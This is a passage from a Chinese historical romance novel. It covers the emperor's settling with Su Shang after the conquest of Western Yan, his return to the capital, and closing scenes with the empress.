他道:“大晋立国至今,西南一隅始终有西燕这个隐患在,尤其立国之初,西燕更是与大晋争斗不止,代代不休,也在永隆年间,那位裴相将西燕打服,让西燕向大晋称臣,让西境得到数十年的安宁,可是称臣对于西燕而言也不过只是暂时的压制,他们的野心不灭就总有反扑一天,所以一劳永逸的方法就是让他们西燕王室彻底覆灭。” 周景知:“所以你奔赴至西燕,就是为了将他们的野心催燃,再趁势将他们覆灭?” “当 然不是。”苏尚否认得干脆,“你们历代帝王都没有做到的,将西燕王室彻底覆灭,如今却让她做到了,你说,她厉不厉害?那降书之上写的是她的名字,你说,这份荣耀,谁能及她?” 他笑了笑,笑有不甘,笑有自嘲:“我的确地位不如你,她对我的感情也不如你,但这并不代表着,我能给她做的就比你少。都说如今的大晋是二圣临朝,那我就让她的圣光更明亮些。” “好了,我的事办完了。”苏尚丢掉了剑,仰了颈,双手握拳贴在一起,做出一副任人捆绑的姿态,“如今殿外都是你的人了,我人也站在这里,你可要抓我回长安问罪?” 周景知垂眸,勾唇轻笑道:“还是那句话,似乎你运气一直不好,做了几次想取我性命之事都未能如愿,但也好在你只想要过做这些恶事。”他敛了笑意,正色沉声道,“西燕的确是大晋一直以来的隐患,在我初继位的那几年我便已经察觉到它的异样,所以就算没有你这次的撺掇,赫连家族入侵大晋也不过是早晚的事,所以西燕王室覆灭,当有你的功劳。” “所谓功过相抵,若你过祸及他人,我自是无法做此决定,然而好在,你的那些过只祸及到了我,故而你之后的去留,我不做干预。” 苏尚:“你就不怕我再杀你?” 周景知:“你运气一直不太好。” 听到这里,苏尚心里又是一阵翻涌,他移了目:“我阿爹和五哥的事……你要明白,这世间的一切不过都是立场不同,正邪也是。而我是我阿爹的儿子,五哥的弟弟。” 周景知慢慢呼了一息后,开口道:“骨肉亲情,血浓于水,大义灭亲四个字作为旁观者自是可以很轻松地说出来,然而也的确太过冷血,可是又不得不说得是,你们不仅是父子、兄弟,还是同僚,是身上担着各自责任的大晋官员,那么你们便有你们的职责。” “正邪的确是立场,可是历史发展至今,整个世间对这个立场也早已有偏向,且在你们成为大晋官员的那一刻,因为你们的责任,你们的立场便也早已被固定在了偏向的那一处,那便是你所说的‘正’。所以若你们一直坚守这份‘正’,纵是中间有人动摇,只要其它人制止着他,帮扶着他,又何至于到大义灭亲的那一步,又何至于你被拉扯得左右为难,不得不为了亲情抛却了你原本坚守的立场。” 面前之人的话字字入耳,苏尚轻笑声,似叹似嘲:“已经没有意义了。” —— 虽然此番出征西燕万事皆算得上顺利,然而西燕内部到底诸多需要安排妥当的事,再加上路途遥远,周景知这一趟也是用了近一年的时间。 回京时又是一年初秋,彼时已是昭徽元年。 上官栩和周景知再见面时,是他还未卸下铠甲的时候。 那是百官齐聚城外,恭迎王师回京。 帝王风尘仆仆而归,自是要下马,更换銮驾,乘舆进城。 上官栩于百官前,含笑看他,见他一步步向她走来,又牵过她的手先送她上了銮驾。 依旧是那棵桂花树下,桂花飘落几许,花瓣落在二人的肩上,发梢上。 二人并坐,静如美画。 “西燕降书的内容你可是看过了?”周景知握着身侧之人的手,轻按在自己的腿上,他偏转着头,目光一瞬不忍移开地落在那人的脸上。 他的目光虽一直凝在她的脸上,但却并不灼人,依旧温润,然而上官栩一听他谈起的话题却又忍不住笑道:“我还用得着看么?早在你们捷报传来的时候,那降书的内容便传遍朝野,传遍京城了,而现在,恐怕更是天下皆知了。” “天下皆知不好么?”他问。 她故意蹙眉:“还是觉得要低调些。” “这可不行。”周景知看似一本正经道,“你若低调了岂不就辜负了旁人的一番美意?” 上官栩闻言深吸了一口,觑了眸,眼神带起几分审视道:“你到底是吃醋还是不吃醋?说你吃醋吧,但你又在第一时间就将降书上的内容送信回来,尽数将苏叙白的‘心意’告知于我,说你不吃醋吧,可是你这番话又着实有些阴阳怪气,你说我该觉得你是哪种情况毕竟好。” 周景知挑眉:“你此言诧异,我既不对旁人‘心意’做隐瞒便说明我心中坦荡,何来吃醋一说?再者说了,我既担负起来将旁人‘心意’转达的任务,便总要适时提醒你才是。” “嗯……好酸。”上官栩做出一副被酸到的表情。 “哪里酸?”周景知直接道,“我何须酸他!你对我的情意,需要我去酸他么?” 又是没皮没脸的一句,上官栩忍不住笑,然而偏偏他又说得是事实,他们二人之间的情意,任谁表心意,二人都无须泛酸。 周景知见她笑了,自己也忍俊不禁,他也知道那四年他们彼此都改变了不少,然而好在,最后陪在身边的依旧是彼此。 桂花再一次飘落,恰好落在了二人执手的手背上。 —— 又是一年元日,清晨,立政殿里已是人群来往不绝,马上又是新一年的大朝会。 周景知目光顺着手指拂过她的蛾眉,满意道:“多年手艺已是炉火纯青,这次依旧描得很好。” 上官栩无奈嗤笑声,手捧过冕冠:“低头。” 周景知听话照做。 殿门前,帝王一身黑赤衮冕服,威仪凛然,英气勃发,皇后也是一身翟鸟祎衣,雍容明丽,端雅大气。 二人执手,在殿门打开的那一刻,初升朝阳的辉煌尽数洒入殿中,远处的钟声沉稳而有力,他们并肩立在晨光里,身前身后尽是辉光照耀处。 晨光为引,执手为伴,新的朝暮,自此共赴。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m